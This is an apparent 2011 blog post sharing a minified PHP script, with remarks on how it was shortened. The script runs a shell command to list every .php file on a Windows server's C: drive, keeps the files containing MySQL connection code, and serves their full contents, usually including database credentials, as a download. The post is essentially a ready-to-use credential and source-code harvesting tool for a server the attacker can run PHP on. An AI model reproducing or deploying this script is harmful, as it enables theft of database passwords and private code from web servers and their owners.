420 Bytes to your Database
January 3, 2011| Tweet |
Download Original
This version does it a little better, it preserves the name of your orignal script and your downloaded script follows that name.
<?PHP ini_set('max_execution_time',0);shell_exec("dir c:\*.php/b/s>Z");$f=explode("\r\n",file_get_contents("Z"));FOR($i=0;$i<count($f)-1;$i++){$k=file_get_contents($f[$i]);IF (stripos($k,"ysql_co")>0)$d[$i]="echo\"<p>FILE:\".base64_decode(\"".base64_encode($f[$i])."\").\"</p>\".nl2br(htmlentities(base64_decode(\"".base64_encode($k)."\")))";}header("Content-Disposition:attachment");FOREACH($d AS$v){ECHO"<?PHP $v;?>";}
Other differences are:
- Removal of unneeded spaces, as well as two curly braces (in shell_exec, IF and FOR loops, etc
- A change in the FOR loop from
$i<=count($f)-2, to$i<=count($f)-1, saving a whopping ONE character. - Consolidation of the
file_get_contentsinto the $k variable, cutting the reads in half (reducing disk activity), and also vastly shortening the code.

Facebook
LinkedIn